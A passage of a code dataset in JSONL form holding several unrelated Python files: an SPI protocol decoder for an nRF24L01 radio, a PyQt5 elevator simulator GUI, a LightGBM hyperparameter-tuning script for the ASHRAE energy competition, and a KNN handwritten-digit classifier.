self.cmd == 'R_REGISTER':\n self.decode_register(pos, self.ann_reg,\n self.dat, self.miso_bytes())\n elif self.cmd == 'W_REGISTER':\n self.decode_register(pos, self.ann_cmd,\n self.dat, self.mosi_bytes())\n elif self.cmd == 'R_RX_PAYLOAD':\n self.decode_mb_data(pos, self.ann_rx,\n self.miso_bytes(), 'RX payload', False)\n elif (self.cmd == 'W_TX_PAYLOAD' or\n self.cmd == 'W_TX_PAYLOAD_NOACK'):\n self.decode_mb_data(pos, self.ann_tx,\n self.mosi_bytes(), 'TX payload', False)\n elif self.cmd == 'W_ACK_PAYLOAD':\n lbl = 'ACK payload for pipe {}'.format(self.dat)\n self.decode_mb_data(pos, self.ann_tx,\n self.mosi_bytes(), lbl, False)\n elif self.cmd == 'R_RX_PL_WID':\n msg = 'Payload width = {}'.format(self.mb[0][1])\n self.putp(pos, self.ann_reg, msg)\n elif self.cmd == 'ACTIVATE':\n self.putp(pos, self.ann_cmd, self.format_command())\n if self.mosi_bytes()[0] != 0x73:\n self.warn(pos, 'wrong data for \"ACTIVATE\" command')\n\n \"\"\"\n the data argument of the decode function that contains the data to\n decode, is a list of tuples.\n These tuples contain the (absolute) number of the sample and the data\n at that sample.\n \"\"\"\n def decode(self, ss, es, data):\n if not self.requirements_met:\n return\n\n ptype, data1, data2 = data\n\n if ptype == 'CS-CHANGE':\n if data1 is None:\n if data2 is None:\n self.requirements_met = False\n raise ChannelError('CS# pin required.')\n elif data2 == 1:\n self.cs_was_released = True\n\n if data1 == 0 and data2 == 1:\n # Rising edge of /SS, the complete command is transmitted,\n # process the bytes that were send after the command byte.\n if self.cmd:\n # Check if we got the minimum number of data bytes\n # after the command byte.\n if len(self.mb) < self.min:\n self.warn((ss, ss), 'missing data bytes')\n elif self.mb:\n self.finish_command((self.mb_s, self.mb_e))\n\n self.next()\n self.cs_was_released = True\n elif ptype == 'DATA' and self.cs_was_released:\n mosi, miso = data1, data2\n pos = (ss, es)\n\n if miso is None or mosi is None:\n self.requirements_met = False\n raise ChannelError('Both MISO and MOSI pins required.')\n\n if self.first:\n self.first = False\n # First MOSI byte is always the command.\n self.decode_command(pos, mosi)\n # First MISO byte is always the status register.\n self.decode_register(pos, self.ann_reg, 'STATUS', [miso])\n else:\n if not self.cmd or len(self.mb) >= self.max:\n self.warn(pos, 'excess byte')\n else:\n # Collect the bytes after the command byte.\n if self.mb_s == -1:\n self.mb_s = ss\n self.mb_e = es\n self.mb.append((mosi, miso))\n","sub_path":"W5500/pd.py","file_name":"pd.py","file_ext":"py","file_size_in_byte":12316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"392659987","text":"from typing import List\nfrom PyQt5 import QtWidgets, QtCore\nfrom PyQt5.QtWidgets import QMainWindow\nfrom dataclasses import dataclass\nimport random\nimport math\nfrom src.command_processor import Command, CommandProcessor, Source, Action\nfrom src.operator import Operator\nfrom src.elevator import Elevator as ElevatorLogic\nimport time\n\n\nclass SliderWorker(QtCore.QObject):\n finished = QtCore.pyqtSignal()\n progress = QtCore.pyqtSignal(int)\n\n def run(self, start, finish, step):\n while start != finish:\n start += step\n time.sleep(0.5)\n print(start)\n self.progress.emit(start)\n self.finished.emit()\n\n\n@dataclass\nclass UIConfig:\n floor_height: int = 30\n between_floors: int = 5\n\n button_width: int = 65\n label_width: int = 35\n between_buttons: int = 5\n\n between_elevators: int = 70\n elevator_width: int = 22\n\n margin_side: int = 10\n margin_height: int = 20\n\n circle_radius: int = 10\n\n def button_size(self):\n return (self.button_width, self.floor_height)\n\n def calculate_width(self, elevators_number: int) -> int:\n width = 2 * self.margin_side + self.label_width + \\\n 2 * (self.button_width + self.between_buttons) + elevators_number * (self.elevator_width + self.between_elevators) \\\n + elevators_number * self.button_width\n\n return width\n\n def calculate_height(self, floors_number: int) -> int:\n height = 2 * self.margin_height + floors_number * (self.floor_height + self.between_floors) - self.between_floors\n\n return height\n \n def calculate_floor_offset_y(self, total_height, floor_number):\n return total_height - (\n self.margin_height + floor_number*self.floor_height + self.between_floors*(floor_number - 1)\n )\n \n @property\n def elevators_section_offset_x(self):\n return self.margin_side + self.label_width + 5 + 2 * self.button_width + self.between_buttons\n \n def calculate_elevator_offset_x(self, number: int) -> int:\n return self.elevators_section_offset_x + (number - 1)*self.elevator_width + (number - 1/2)*self.between_elevators \\\n + (number - 1)*self.button_width # ширина кнопок датчиков\n \n def calculate_elevator_offset_y(self):\n return self.margin_height + self.floor_height/2 - self.circle_radius\n\n def calculate_elevator_height(self, floor_number: int):\n return (floor_number - 1) * (self.floor_height + self.between_floors) + 2*(self.circle_radius)\n \n def calculate_sensors_offset_x(self, number):\n return self.calculate_elevator_offset_x(number) + self.elevator_width + (self.between_elevators - self.button_width)/2\n\n def calculate_sensor_offset_y(self, floors_number, sensor_number):\n sensors_total = 3 # HARDCODE\n window_height = self.calculate_height(floors_number)\n\n middle_window = window_height / 2\n\n return middle_window + (sensors_total/2 - sensor_number) * self.floor_height\n \n def select_window_size(self, floors_number):\n columns = 2\n rows = math.ceil(floors_number / columns)\n width = 2*self.margin_side + columns*self.button_width + (columns - 1)*self.between_buttons\n height = 2*self.margin_height + rows * self.floor_height + (rows-1) * self.between_floors\n\n return (width, height)\n \n def select_floor_button_offset(self, floor_number, total_floors):\n columns = 2\n rows = math.ceil(total_floors / columns)\n\n button_column = floor_number // rows\n button_row = floor_number % rows\n\n (_, height) = self.select_window_size(total_floors)\n\n button_x = self.margin_side + button_column*(self.button_width + self.between_buttons)\n button_y = height - (2* self.margin_height + button_row*(self.floor_height + self.between_floors))\n\n return (button_x, button_y)\n\n\nclass Elevator:\n def __init__(self, parent_widget, number: int, floors_number: int, ui_config: UIConfig):\n self.current_floor = 1\n self._is_locked = False\n\n self.logic = ElevatorLogic(floors_count=floors_number, tonnage=10000)\n self.parent_widget = parent_widget\n self.total_floors = floors_number\n\n self.ui_config = ui_config\n self.number = number\n self.height = self.ui_config.calculate_elevator_height(floors_number)\n\n elevator_x = self.ui_config.calculate_elevator_offset_x(number)\n elevator_y = self.ui_config.calculate_elevator_offset_y()\n\n self.slider = QtWidgets.QSlider(parent_widget)\n self.slider.setGeometry(QtCore.QRect(elevator_x, elevator_y, self.ui_config.elevator_width, self.height))\n self.slider.setOrientation(QtCore.Qt.Vertical)\n self.slider.setMinimum(1)\n self.slider.setMaximum(floors_number)\n self.slider.setDisabled(True)\n\n sensors_offset_x = self.ui_config.calculate_sensors_offset_x(number)\n\n smoke_sensor_offset_y = self.ui_config.calculate_sensor_offset_y(floors_number, sensor_number=0)\n self.smoke_sensor = QtWidgets.QPushButton(parent_widget)\n self.smoke_sensor.setGeometry(QtCore.QRect(\n sensors_offset_x, smoke_sensor_offset_y, self.ui_config.button_width, self.ui_config.floor_height\n ))\n self.smoke_sensor.setText(\"Дым\")\n self.smoke_sensor.clicked.connect(self.trigger_smoke_sensor)\n\n light_sensor_offset_y = self.ui_config.calculate_sensor_offset_y(floors_number, sensor_number=1)\n self.light_sensor = QtWidgets.QPushButton(parent_widget)\n self.light_sensor.setGeometry(QtCore.QRect(\n sensors_offset_x, light_sensor_offset_y, self.ui_config.button_width, self.ui_config.floor_height\n ))\n self.light_sensor.setText(\"Свет\")\n self.light_sensor.clicked.connect(self.trigger_light_sensor)\n\n doors_sensor_offset_y = self.ui_config.calculate_sensor_offset_y(floors_number, sensor_number=2)\n self.doors_sensor = QtWidgets.QPushButton(parent_widget)\n self.doors_sensor.setGeometry(QtCore.QRect(\n sensors_offset_x, doors_sensor_offset_y, self.ui_config.button_width, self.ui_config.floor_height\n ))\n self.doors_sensor.setText(\"Двери\")\n self.doors_sensor.clicked.connect(self.trigger_doors_sensor)\n \n def _show_select_floor_dialog(self, should_show_dialog, floor_number):\n if should_show_dialog:\n select_dialog = SelectFloorDialog(self, floor_number)\n select_dialog.exec_()\n \n def move_to_floor(self, to, should_show_dialog = True):\n self.current_floor = to\n self._is_locked = True\n _from = self.slider.value()\n duration = abs(to - _from) * 500\n self.animation = QtCore.QPropertyAnimation(self.slider, b\"sliderPosition\")\n self.animation.setDuration(duration)\n self.animation.setStartValue(_from)\n self.animation.setEndValue(to)\n self.animation.start()\n self.animation.finished.connect(self.unlock)\n self.animation.finished.connect(lambda: self._show_select_floor_dialog(should_show_dialog, to))\n \n def unlock(self):\n self._is_locked = False\n \n def trigger_smoke_sensor(self):\n my_dialog = QtWidgets.QDialog(self.parent_widget)\n label = QtWidgets.QLabel(my_dialog)\n label.setText(f\"Сработал датчик задымления в лифте {self.number}\")\n label.adjustSize()\n my_dialog.adjustSize()\n my_dialog.exec_()\n self.move_to_floor(1, False)\n \n def trigger_light_sensor(self):\n my_dialog = QtWidgets.QDialog(self.parent_widget)\n label = QtWidgets.QLabel(my_dialog)\n label.setText(f\"Перебои электричества в лифте {self.number}\")\n label.adjustSize()\n my_dialog.adjustSize()\n my_dialog.exec_()\n self.move_to_floor(1, False)\n \n def trigger_doors_sensor(self):\n my_dialog = QtWidgets.QDialog(self.parent_widget)\n label = QtWidgets.QLabel(my_dialog)\n label.setText(f\"Двери лифта {self.number} заблокированы\")\n label.adjustSize()\n my_dialog.adjustSize()\n my_dialog.exec_()\n self.move_to_floor(1, False)\n \n def add_call(self, floor_number):\n print(f\"Elevator {self.number} called to {floor_number} floor\")\n\n\nclass SelectFloorDialog(QtWidgets.QDialog):\n def __init__(self, elevator: Elevator, floor_number):\n super().__init__(elevator.parent_widget)\n self.elevator = elevator\n self.setWindowTitle(f\"{floor_number} этаж\")\n label = QtWidgets.QLabel(self)\n label.setText(f\"Лифт {elevator.number}\")\n self.resize(*elevator.ui_config.select_window_size(elevator.total_floors))\n for i in range(elevator.total_floors):\n self._init_button(i, floor_number)\n \n def _init_button(self, i, floor_number):\n floor_button = QtWidgets.QPushButton(self)\n floor_button.setText(str(i+1))\n floor_button.setGeometry(\n QtCore.QRect(\n *self.elevator.ui_config.select_floor_button_offset(i+1, self.elevator.total_floors), \n *self.elevator.ui_config.button_size())\n )\n if i+1 == floor_number:\n floor_button.setDisabled(True)\n\n floor_button.clicked.connect(lambda: self.button_callback(i))\n \n def button_callback(self, n):\n self.elevator.move_to_floor(n+1, False)\n self.elevator.logic.move_to_floor(n+1)\n self.close()\n\n\nclass ElevatorsWindow(QMainWindow):\n def __init__(self, \n floors: int, elevators: int, \n ui_config: UIConfig = UIConfig()\n ):\n super().__init__()\n\n self.ui_config: UIConfig = ui_config\n\n self.setWindowTitle(\"Лифты\")\n\n self.window_width = self.ui_config.calculate_width(elevators)\n self.window_height = self.ui_config.calculate_height(floors)\n self.resize(self.window_width, self.window_height)\n\n self.floors_number = floors\n self.elevators_number = elevators\n\n self.floor_labels = []\n self.up_buttons = []\n self.down_buttons= []\n\n # ToDo: заполнить отметки, на которых слайдер должен останавливаться\n # по прибытии на этаж\n self.elevator_floor_checkpoints = []\n\n self.elevators: List[Elevator] = []\n\n for i in range(1, floors+1):\n self._init_floor(i)\n \n self.up_buttons[-1].hide()\n self.down_buttons[0].hide()\n \n for j in range(1, elevators+1):\n self._init_elevator(j)\n\n self.processor = CommandProcessor(Operator(\n [x.logic for x in self.elevators]\n ))\n \n def _init_floor(self, number: int):\n floor_offset_y = self.ui_config.calculate_floor_offset_y(self.window_height, number)\n\n # ToDo: calculations to UIConfig\n floor_label = QtWidgets.QLabel(self)\n floor_label.setGeometry(QtCore.QRect(self.ui_config.margin_side, floor_offset_y, self.ui_config.label_width, self.ui_config.floor_height))\n floor_label.setAlignment(QtCore.Qt.AlignCenter)\n floor_label.setText(str(number))\n\n up_button_offset_x = self.ui_config.margin_side + self.ui_config.label_width + 5\n up_button = QtWidgets.QPushButton(self)\n up_button.setGeometry(QtCore.QRect(up_button_offset_x, floor_offset_y, self.ui_config.button_width, self.ui_config.floor_height))\n up_button.setText(\"up\")\n up_button.clicked.connect(lambda: self.call_elevator(number))\n\n down_button_offset_x = up_button_offset_x + self.ui_config.button_width + self.ui_config.between_buttons\n down_button = QtWidgets.QPushButton(self)\n down_button.setGeometry(QtCore.QRect(down_button_offset_x, floor_offset_y, self.ui_config.button_width, self.ui_config.floor_height))\n down_button.setText(\"down\")\n down_button.clicked.connect(lambda: self.call_elevator(number))\n\n self.floor_labels.append(floor_label)\n self.up_buttons.append(up_button)\n self.down_buttons.append(down_button)\n \n def _init_elevator(self, number: int):\n elevator = Elevator(self, number, self.floors_number, self.ui_config)\n self.elevators.append(elevator)\n\n def call_elevator(self, floor_number):\n self.processor.process(Command(\n source=Source.SYSTEM,\n action=Action.CALL_FROM_FLOOR, \n value=floor_number,\n ))\n for (i, elevator) in enumerate(self.elevators):\n elevator_params = self.processor.process(Command(\n source=Source.SYSTEM,\n action=Action.GET_CURRENT_PARAMS,\n elevator_id=i,\n ))\n if elevator_params['current_floor'] != elevator.current_floor and not elevator._is_locked:\n elevator.move_to_floor(floor_number)\n","sub_path":"src/gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"423954803","text":"\n\nfrom xai.brain.wordbase.nouns._gripe import _GRIPE\n\n#calss header\nclass _GRIPES(_GRIPE, ):\n\tdef __init__(self,): \n\t\t_GRIPE.__init__(self)\n\t\tself.name = \"GRIPES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"gripe\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_gripes.py","file_name":"_gripes.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"582948802","text":"#123import pandas as pd\nimport numpy as np\nimport pandas as pd\nimport lightgbm as lgb\nfrom sklearn.preprocessing import LabelEncoder\nimport datetime\nimport gc\nfrom bayes_opt import BayesianOptimization\nimport warnings\nwarnings.filterwarnings('ignore')\n\nDATA_PATH ='/Users/Lab408/Desktop/try_model_ashrae_energy_prediction_kaggle/'\n#Load Data\ntrain_df = pd.read_csv(DATA_PATH + 'small_data_train_energy.csv',nrows=1000000)\ntrain_df = train_df [ train_df['building_id'] != 1099 ]\ntrain_df = train_df.query('not (building_id <= 104 & meter == 0 & timestamp <= \"2016-05-20\")')\nbuilding_df = pd.read_csv(DATA_PATH + 'building_metadata_forsmalldata.csv')\nweather_df = pd.read_csv(DATA_PATH + 'weather_train_smalldata.csv')\n############Utility Functions#############\ndef fill_weather_dataset(weather_df):\n \n # Find Missing Dates\n time_format = \"%Y-%m-%d %H:%M:%S\"\n start_date = datetime.datetime.strptime(weather_df['timestamp'].min(),time_format)\n end_date = datetime.datetime.strptime(weather_df['timestamp'].max(),time_format)\n total_hours = int(((end_date - start_date).total_seconds() + 3600) / 3600)\n hours_list = [(end_date - datetime.timedelta(hours=x)).strftime(time_format) for x in range(total_hours)]\n\n missing_hours = []\n for site_id in range(16):\n site_hours = np.array(weather_df[weather_df['site_id'] == site_id]['timestamp'])\n new_rows = pd.DataFrame(np.setdiff1d(hours_list,site_hours),columns=['timestamp'])\n new_rows['site_id'] = site_id\n weather_df = pd.concat([weather_df,new_rows])\n\n weather_df = weather_df.reset_index(drop=True) \n\n # Add new Features\n weather_df[\"datetime\"] = pd.to_datetime(weather_df[\"timestamp\"])\n weather_df[\"day\"] = weather_df[\"datetime\"].dt.day\n weather_df[\"week\"] = weather_df[\"datetime\"].dt.week\n weather_df[\"month\"] = weather_df[\"datetime\"].dt.month\n \n # Reset Index for Fast Update\n weather_df = weather_df.set_index(['site_id','day','month'])\n\n air_temperature_filler = pd.DataFrame(weather_df.groupby(['site_id','day','month'])['air_temperature'].mean(),columns=[\"air_temperature\"])\n weather_df.update(air_temperature_filler,overwrite=False)\n\n # Step 1\n cloud_coverage_filler = weather_df.groupby(['site_id','day','month'])['cloud_coverage'].mean()\n # Step 2\n cloud_coverage_filler = pd.DataFrame(cloud_coverage_filler.fillna(method='ffill'),columns=[\"cloud_coverage\"])\n\n weather_df.update(cloud_coverage_filler,overwrite=False)\n\n due_temperature_filler = pd.DataFrame(weather_df.groupby(['site_id','day','month'])['dew_temperature'].mean(),columns=[\"dew_temperature\"])\n weather_df.update(due_temperature_filler,overwrite=False)\n\n # Step 1\n sea_level_filler = weather_df.groupby(['site_id','day','month'])['sea_level_pressure'].mean()\n # Step 2\n sea_level_filler = pd.DataFrame(sea_level_filler.fillna(method='ffill'),columns=['sea_level_pressure'])\n\n weather_df.update(sea_level_filler,overwrite=False)\n\n wind_direction_filler = pd.DataFrame(weather_df.groupby(['site_id','day','month'])['wind_direction'].mean(),columns=['wind_direction'])\n weather_df.update(wind_direction_filler,overwrite=False)\n\n wind_speed_filler = pd.DataFrame(weather_df.groupby(['site_id','day','month'])['wind_speed'].mean(),columns=['wind_speed'])\n weather_df.update(wind_speed_filler,overwrite=False)\n\n # Step 1\n precip_depth_filler = weather_df.groupby(['site_id','day','month'])['precip_depth_1_hr'].mean()\n # Step 2\n precip_depth_filler = pd.DataFrame(precip_depth_filler.fillna(method='ffill'),columns=['precip_depth_1_hr'])\n\n weather_df.update(precip_depth_filler,overwrite=False)\n\n weather_df = weather_df.reset_index()\n weather_df = weather_df.drop(['datetime','day','week','month'],axis=1)\n \n return weather_df\n\n# Original code from https://www.kaggle.com/gemartin/load-data-reduce-memory-usage by @gemartin\n\nfrom pandas.api.types import is_datetime64_any_dtype as is_datetime\nfrom pandas.api.types import is_categorical_dtype\n\ndef reduce_mem_usage(df, use_float16=False):\n \"\"\"\n Iterate through all the columns of a dataframe and modify the data type to reduce memory usage. \n \"\"\"\n \n start_mem = df.memory_usage().sum() / 1024**2\n print(\"Memory usage of dataframe is {:.2f} MB\".format(start_mem))\n \n for col in df.columns:\n if is_datetime(df[col]) or is_categorical_dtype(df[col]):\n continue\n col_type = df[col].dtype\n \n if col_type != object:\n c_min = df[col].min()\n c_max = df[col].max()\n if str(col_type)[:3] == \"int\":\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n df[col] = df[col].astype(np.int8)\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n df[col] = df[col].astype(np.int16)\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n df[col] = df[col].astype(np.int32)\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n df[col] = df[col].astype(np.int64) \n else:\n if use_float16 and c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n df[col] = df[col].astype(np.float16)\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n df[col] = df[col].astype(np.float32)\n else:\n df[col] = df[col].astype(np.float64)\n else:\n df[col] = df[col].astype(\"category\")\n\n end_mem = df.memory_usage().sum() / 1024**2\n print(\"Memory usage after optimization is: {:.2f} MB\".format(end_mem))\n print(\"Decreased by {:.1f}%\".format(100 * (start_mem - end_mem) / start_mem))\n \n return df\n\n###feature engineering\ndef features_engineering(df):\n \n # Sort by timestamp\n df.sort_values(\"timestamp\")\n df.reset_index(drop=True)\n \n # Add more features\n df[\"timestamp\"] = pd.to_datetime(df[\"timestamp\"],format=\"%Y-%m-%d %H:%M:%S\")#\n df[\"hour\"] = df[\"timestamp\"].dt.hour\n df[\"weekend\"] = df[\"timestamp\"].dt.weekday\n holidays = [\"2016-01-01\", \"2016-01-18\", \"2016-02-15\", \"2016-05-30\", \"2016-07-04\",\n \"2016-09-05\", \"2016-10-10\", \"2016-11-11\", \"2016-11-24\", \"2016-12-26\",\n \"2017-01-02\", \"2017-01-16\", \"2017-02-20\", \"2017-05-29\", \"2017-07-04\",\n \"2017-09-04\", \"2017-10-09\", \"2017-11-10\", \"2017-11-23\", \"2017-12-25\",\n \"2018-01-01\", \"2018-01-15\", \"2018-02-19\", \"2018-05-28\", \"2018-07-04\",\n \"2018-09-03\", \"2018-10-08\", \"2018-11-12\", \"2018-11-22\", \"2018-12-25\",\n \"2019-01-01\"]\n df[\"is_holiday\"] = (df.timestamp.isin(holidays)).astype(int)\n df['square_feet'] = np.log1p(df['square_feet'])\n \n # Remove Unused Columns\n drop = [\"timestamp\",\"sea_level_pressure\", \"wind_direction\", \"wind_speed\",\"year_built\",\"floor_count\"]\n df = df.drop(drop, axis=1)\n gc.collect()\n \n # Encode Categorical Data\n le = LabelEncoder()\n df[\"primary_use\"] = le.fit_transform(df[\"primary_use\"])\n \n return df\n###########Fill Weather Information############\n##using this kernel to handle missing weather information.\nweather_df = fill_weather_dataset(weather_df)##同前\n#Memory Reduction\ntrain_df = reduce_mem_usage(train_df,use_float16=True)\nbuilding_df = reduce_mem_usage(building_df,use_float16=True)\nweather_df = reduce_mem_usage(weather_df,use_float16=True)\n##Merge Data\n##We need to add building and weather information into training dataset.\n\ntrain_df = train_df.merge(building_df, left_on='building_id',right_on='building_id',how='left')\ntrain_df = train_df.merge(weather_df,how='left',left_on=['site_id','timestamp'],right_on=['site_id','timestamp'])\ndel weather_df\ngc.collect()\n\n##Features Engineering\ntrain_df = features_engineering(train_df)\n##Features & Target Variables\ntarget = np.log1p(train_df[\"meter_reading\"])\nfeatures = train_df.drop('meter_reading', axis = 1)\ndel train_df\ngc.collect()\n########################Bayesian Optimization Functions########################\ndef lgb_best_params(X, y,opt_params,init_points=2, optimization_round=20, n_folds=3, random_seed=0, cv_estimators=1500):\n \n # prepare dataset\n categorical_features = [\"building_id\", \"site_id\", \"meter\", \"primary_use\", \"is_holiday\", \"weekend\"]\n train_data = lgb.Dataset(data=X, label=y, categorical_feature = categorical_features, free_raw_data=False)\n \n def lgb_run(num_leaves, feature_fraction, bagging_fraction, max_depth, lambda_l1, lambda_l2, min_split_gain, min_child_weight,learning_rate):\n params = {\"boosting\": \"gbdt\",'application':'regression','num_iterations':cv_estimators, 'early_stopping_round':int(cv_estimators/5), 'metric':'rmse'}\n params[\"num_leaves\"] = int(round(num_leaves))\n params['feature_fraction'] = max(min(feature_fraction, 1), 0)\n params['bagging_fraction'] = max(min(bagging_fraction, 1), 0)\n params['max_depth'] = int(round(max_depth))\n params['lambda_l1'] = max(lambda_l1, 0)\n params['lambda_l2'] = max(lambda_l2, 0)\n # params['bagging_freq'] = int(round(bagging_freq))\n params['min_split_gain'] = min_split_gain\n params['min_child_weight'] = min_child_weight\n params['learning_rate'] = learning_rate\n cv_result = lgb.cv(params, train_data, nfold=n_folds, seed=random_seed, stratified=False, verbose_eval =cv_estimators, metrics=['rmse'])\n return -min(cv_result['rmse-mean'])\n \n params_finder = BayesianOptimization(lgb_run, opt_params, random_state=2000)\n # optimize\n params_finder.maximize(init_points=init_points, n_iter=optimization_round)\n\n # return best parameters\n return params_finder.max\n##Configuration(組態)\n##Small range set is recommended. This guide will help you.\n# number of fold\nfold = 3\n\n# Hyperparameter range\nparams_range = {\n 'num_leaves': (100, 5000),\n 'feature_fraction': (0.1, 0.9),\n 'bagging_fraction': (0.1, 0.9),\n# 'bagging_freq':(1, 9),\n 'max_depth': (10, 60),\n 'lambda_l1': (1, 9),\n 'lambda_l2': (1, 9),\n 'min_split_gain': (0.001, 0.9),\n 'min_child_weight': (5, 80),\n 'learning_rate' : (.001,0.1)\n }\n\n# You can experiments with different estimators in a single execution. I'm using small numbers for demonstration purpose so you must change to high numbers.\ncv_estimators = [500,1500,4500]\n\n#n_iter: How many steps of bayesian optimization you want to perform. The more steps the more likely to find a good maximum you are.\noptimization_round = 10 # Simply, 10 models with different parameter will be tested. And the best one will be returned.\n\n#init_points: How many steps of random exploration you want to perform. Random exploration can help by diversifying the exploration space.\ninit_points = 2\n\nrandom_seed = 2000\n##############################Find Best Parameters#############################\nbest_params= []\nfor cv_estimator in cv_estimators:#\n opt_params = lgb_best_params(features, target,params_range, init_points=init_points, optimization_round=optimization_round, n_folds=fold, random_seed=random_seed, cv_estimators=cv_estimator)\n opt_params['params']['iteration'] = cv_estimator#\n opt_params['params']['fold'] = fold#\n opt_params['params']['rmse'] = opt_params['target']#\n best_params.append(opt_params['params'])\n##\n##Save CSV\n##It is good practise to keep track record of all experiments and best parameters.\ndf_params = pd.DataFrame(best_params).reset_index()#生成dataframe\ndf_params = df_params[['iteration','fold','num_leaves','learning_rate','bagging_fraction',\n 'feature_fraction',\n 'lambda_l1',\n 'lambda_l2',\n 'max_depth',\n 'min_child_weight',\n 'min_split_gain',\n 'rmse']]\ndf_params.to_csv(r'C:\\Users\\Lab408\\Desktop\\try_model_ashrae_energy_prediction_kaggle\\best_params.csv', index=False,float_format='%.4f')\ndf_params=pd.read_csv(r'C:\\Users\\Lab408\\Desktop\\try_model_ashrae_energy_prediction_kaggle\\best_params.csv')\ndf_params.head()\n\n##results_df.to_csv(r'C:\\Users\\Lab408\\Desktop\\try_model_ashrae_energy_prediction_kaggle\\sample_submission_smalldataa.csv', index=False,float_format='%.4f')\n##results_df=pd.read_csv(r'C:\\Users\\lab408\\Desktop\\try_model_ashrae_energy_prediction_kaggle\\sample_submission_smalldataa.csv')\n##results_df.head(20)\n","sub_path":"ASHRAE - Hyperparameter Tuning.py","file_name":"ASHRAE - Hyperparameter Tuning.py","file_ext":"py","file_size_in_byte":12575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"302337164","text":"\n#KNN实现手写体图片识别\n\nfrom __future__ import print_function\nfrom numpy import *\nimport operator\nfrom os import listdir\nfrom collections import Counter\nfrom functions import threshold\n\ndef createDataSet():\n\n group = array([[1.0,1.1],[1.0,1.0],[0,0],[0,0.1]])\n labels = ['A','A','B','B']\n\n return group,labels\n\ndef classify0(inX,dataSet,labels,k):\n\n #距离计算 dataSet里的属性shape是(行,列)的一个元组\n dataSetSize = dataSet.shape[0]\n\n diffMat = tile(inX,(dataSetSize,1))-dataSet\n\n #取平方\n sqDiffMat = diffMat**2\n #将矩阵每一行相加\n sqDistances = sqDiffMat.sum(axis=1)\n\n #开方\n distances = sqDistances**0.5\n\n #排序\n sortedDistIndicies = distances.argsort()\n\n print(\"=================\")\n print(sortedDistIndicies)\n\n\n\n classCount = {}\n for i in range(k):\n\n voteIlabel = labels[sortedDistIndicies[i]]\n print(voteIlabel)\n classCount[voteIlabel] = classCount.get(voteIlabel,0)+1\n\n\n sortedClassCount = sorted(classCount.items(),key=operator.itemgetter(1),reverse=True)\n\n print(\"=================\")\n print(sortedClassCount)\n\n return sortedClassCount[0][0]\n\n\ndef test1():\n\n group,labels = createDataSet()\n print(str(group))\n print(str(labels))\n print(classify0([0.1,0.1],group,labels,3))\n\n\ndef file2matrix(filename):\n\n fr = open(filename)\n\n numberOfLines = len(fr.readlines())\n\n returnMat = zeros((numberOfLines,3))\n classLabelVector = []\n fr = open(filename)\n\n index = 0\n for line in fr.readlines():\n\n line = line.strip()\n\n listFromLine = line.split('\\t')\n\n returnMat[index,:] = listFromLine[0:3]\n\n classLabelVector.append(int(listFromLine[-1]))\n\n index+=1\n\n return returnMat,classLabelVector\n\ndef autoNorm(dataSet):\n\n minVals = dataSet.min(0)\n maxVals = dataSet.max(0)\n\n ranges = maxVals-minVals\n\n normDataSet = zeros(shape(dataSet))\n m = dataSet.shape[0]\n\n normDataSet = dataSet-title(minVals,(m,1))\n\n normDataSet = normDataSet / title(ranges,(m,1))\n\n return normDataSet,ranges,minVals\n\ndef datingClassTest():\n\n #测试范围,一部分作为测试,一部分作为样本\n hoRatio = 0.1\n #从文件中读取数据\n datingDataMat,datingLabels = file2matrix('./datingTestSet2.txt')\n #归一化数据\n normMat,ranges,minVals = autoNorm(datingDataMat)\n\n m = normMat.shape[0]\n\n numTestVecs = int(m * hoRatio)\n\n print('numTestVecs=',numTestVecs)\n\n errorCount = 0.0\n\n for i in range(numTestVecs):\n\n classifierResult = classify0(normMat[i:],normMat[numTestVecs:m,:],datingLabels[numTestVecs:m],3)\n\n print(\"the classifier came back with:%d,the real answer is:%d\"%(classifierResult,datingLabels[i]))\n\n if (classifierResult != datingLabels[i]):errorCount+=1\n\n print(\"the total error rate is:%f\" %(errorCount/float(numTestVecs)))\n\n#将图像文本数据转换为向量\ndef img2vector(filename):\n returnVect = zeros((1,1024))\n fr = open(filename)\n\n for i in range(32):\n lineStr = fr.readline()\n for j in range(32):\n\n returnVect[0,32*i+j] = int(lineStr[j])\n\n return returnVect\n\ndef handwritingClassTest():\n\n #1.导入数据\n hwLabels = []\n trainingFileList = listdir('./data/trainingDigits')\n\n m = len(trainingFileList)\n trainingMat = zeros((m,1024))\n\n for i in range(m):\n fileNameStr = trainingFileList[i]\n fileStr = fileNameStr.split('.')[0]\n classNumStr = int(fileStr.split('_')[0])\n hwLabels.append(classNumStr)\n\n #将32*32矩阵转换为为1*1024的矩阵\n trainingMat[i,:] = img2vector('./data/trainingDigits/'+fileNameStr)\n\n #2.导入测试数据\n\n # testFileList = listdir('./data/testDigits')\n # errorCount = 0.0\n #\n # mTest = len(testFileList)\n #\n # for i in range(mTest):\n # fileNameStr = testFileList[i]\n # fileStr = fileNameStr.split('.')[0]\n # classNumStr = int(fileStr.split('_')[0])\n # vectorUnderTest = img2vector('./data/testDigits/'+fileNameStr)\n # classifierResult = classify0(vectorUnderTest,trainingMat,hwLabels,3)\n # print(\"the classifier came back with: %d, the real answer is: %d\" % (classifierResult, classNumStr))\n #\n # if(classifierResult != classNumStr): errorCount+=1.0\n #\n # print(\"\\nthe total number od errors is \"+str(errorCount))\n # print(\"\\nthe total error rate is\"+str(errorCount/float(mTest)))\n\n #当个测试\n\n vectorUnderTest = threshold(\"F:\\\\6.png\")\n classifierResult = classify0(vectorUnderTest, trainingMat, hwLabels, 6)\n print(\"the classifier came back with: %d, the real answer is: %d\" % (classifierResult, 6))\n\n 